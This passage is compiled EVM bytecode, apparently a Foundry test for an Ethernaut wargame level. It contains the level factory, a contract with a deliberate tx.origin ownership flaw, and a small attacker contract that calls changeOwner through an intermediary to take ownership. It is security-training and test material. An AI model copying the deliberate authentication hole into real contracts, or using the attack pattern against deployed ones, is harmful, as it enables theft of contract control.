1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001bc9565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b8381101562001088575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb919062002369565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b505050508083838151811062001066576200106662001fa2565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010e6575f80fd5b505af1158015620010f9573d5f803e3d5ffd5b505050505f6040516200110c9062001aeb565b604051809103905ff08015801562001126573d5f803e3d5ffd5b506021546023546040517f3c48664c0000000000000000000000000000000000000000000000000000000081526001600160a01b0392831660048201529082166024820152919250821690633c48664c906044015f604051808303815f87803b15801562001192575f80fd5b505af1158015620011a5573d5f803e3d5ffd5b5050602054602154620011d29350620011cc92506001600160a01b039182169116620014c3565b62001a0b565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f2001805462001218906200232f565b80601f016020809104026020016040519081016040528092919081815260200182805462001246906200232f565b8015620012955780601f106200126b5761010080835404028352916020019162001295565b820191905f5260205f20905b8154815290600101906020018083116200127757829003601f168201915b505050505081526020019060010190620011f8565b5f80604051620012ba9062001af9565b604051809103905ff080158015620012d4573d5f803e3d5ffd5b5090505f604051620012e69062001b07565b604051809103905ff08015801562001300573d5f803e3d5ffd5b508483604051620013119062001b15565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200134b573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013aa575f80fd5b505af1158015620013bd573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014aa57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014565790505b50505050508152505081526020019060010190620013ec565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200151f575f80fd5b505af115801562001532573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001590575f80fd5b505af1158015620015a3573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001607573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001630919081019062002043565b9050600181511115620016485760019150506200164d565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f2001805462001696906200232f565b80601f0160208091040260200160405190810160405280929190818152602001828054620016c4906200232f565b8015620017135780601f10620016e95761010080835404028352916020019162001713565b820191905f5260205f20905b815481529060010190602001808311620016f557829003601f168201915b50505050508152602001906001019062001676565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b1580156200177f575f80fd5b505af115801562001792573d5f803e3d5ffd5b5050602054602154620017bf9350620017b992506001600160a01b039182169116620014c3565b62001a8a565b565b6008545f9060ff1615620017d9575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001868573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200188e919062002387565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f6200190282436200239f565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019c09086908690600401620023b5565b5f60405180830381865afa158015620019db573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a049190810190620023e6565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a70575f80fd5b505afa15801562001a83573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a59565b6105e6806200241d83390190565b6101728062002a0383390190565b610ae58062002b7583390190565b611e7a806200365a83390190565b610daa80620054d483390190565b6001600160a01b0381168114620011d2575f80fd5b5f805f6060848603121562001b4b575f80fd5b833562001b588162001b23565b9250602084013562001b6a8162001b23565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bbd5783516001600160a01b03168352928401929184019160010162001b96565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c035762001c0362001bc9565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c355762001c3562001bc9565b604052919050565b5f67ffffffffffffffff82111562001c595762001c5962001bc9565b50601f01601f191660200190565b5f6020828403121562001c78575f80fd5b813567ffffffffffffffff81111562001c8f575f80fd5b8201601f8101841362001ca0575f80fd5b803562001cb762001cb18262001c3d565b62001c09565b81815285602083850101111562001ccc575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d0557818101518382015260200162001ceb565b50505f910152565b5f815180845262001d2681602086016020860162001ce9565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001dee57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001dd757605f1988850301835262001dc484865162001d0d565b948d01949350918c019160010162001da5565b505050968901969350509087019060010162001d5f565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ebc57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ea65783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e62565b5096890196945050509086019060010162001e24565b509098975050505050505050565b5f6020828403121562001edb575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f3b57603f1988860301845262001f2885835162001d0d565b9450928501929085019060010162001f09565b5092979650505050505050565b5f6020828403121562001f59575f80fd5b813562001a048162001b23565b5f806040838503121562001f78575f80fd5b823562001f858162001b23565b9150602083013562001f978162001b23565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fd25762001fd262001bc9565b5060051b60200190565b5f62001fec62001cb18462001c3d565b905082815283838301111562002000575f80fd5b62001a0483602083018462001ce9565b5f82601f83011262002020575f80fd5b62001a048383516020850162001fdc565b80516200203e8162001b23565b919050565b5f602080838503121562002055575f80fd5b825167ffffffffffffffff808211156200206d575f80fd5b818501915085601f83011262002081575f80fd5b81516200209262001cb18262001fb6565b81815260059190911b83018401908481019088831115620020b1575f80fd5b8585015b83811015620021b257805185811115620020cd575f80fd5b86016060818c03601f19011215620020e3575f80fd5b620020ed62001bdd565b8882015187811115620020fe575f80fd5b8201603f81018d136200210f575f80fd5b898101516200212262001cb18262001fb6565b81815260059190911b8201604001908b8101908f83111562002142575f80fd5b6040840193505b82841015620021645783518252928c0192908c019062002149565b84525050506040820151878111156200217b575f80fd5b6200218b8d8b8386010162002010565b8a830152506200219e6060830162002031565b6040820152845250918601918601620020b5565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200164d576200164d620021bf565b5f60208284031215620021fa575f80fd5b815167ffffffffffffffff81111562002211575f80fd5b8201601f8101841362002222575f80fd5b620022338482516020840162001fdc565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200227481600585016020880162001ce9565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022b381600a84016020880162001ce9565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620022fc81846020880162001ce9565b8351908301906200231281836020880162001ce9565b01949350505050565b602081525f62001a04602083018462001d0d565b600181811c908216806200234457607f821691505b6020821081036200236357634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200237a575f80fd5b815162001a048162001b23565b5f6020828403121562002398575f80fd5b5051919050565b808201808211156200164d576200164d620021bf565b604081525f620023c9604083018562001d0d565b8281036020840152620023dd818562001d0d565b95945050505050565b5f60208284031215620023f7575f80fd5b815167ffffffffffffffff8111156200240e575f80fd5b62002233848285016200201056fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61056c8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61017d806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b505f80546001600160a01b0319163317905561014f8061002e5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80638da5cb5b14610038578063a6f9dae114610080575b5f80fd5b5f546100579073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b61009361008e3660046100df565b610095565b005b3233146100dc575f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83161790555b50565b5f602082840312156100ef575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610112575f80fd5b939250505056fea2646970667358221220117d592b21bbdbdd2cc4c6e53ecc5f8f2209e65ce75747fa6806866fea146f0464736f6c63430008180033a2646970667358221220b86ebd26f9674fc55e384407989758f76a275d4f7d7b9c93b63657cb6b9c8e8364736f6c63430008180033608060405234801561000f575f80fd5b506101558061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80633c48664c1461002d575b5f80fd5b61004061003b3660046100ee565b610042565b005b6040517fa6f9dae100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff828116600483015283919082169063a6f9dae1906024015f604051808303815f87803b1580156100ab575f80fd5b505af11580156100bd573d5f803e3d5ffd5b50505050505050565b803573ffffffffffffffffffffffffffffffffffffffff811681146100e9575f80fd5b919050565b5f80604083850312156100ff575f80fd5b610108836100c6565b9150610116602084016100c6565b9050925092905056fea26469706673582212206fe8c21aa6cb5980f13492ad9017d2fbd70030acfd0c27381463c144687db99364736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d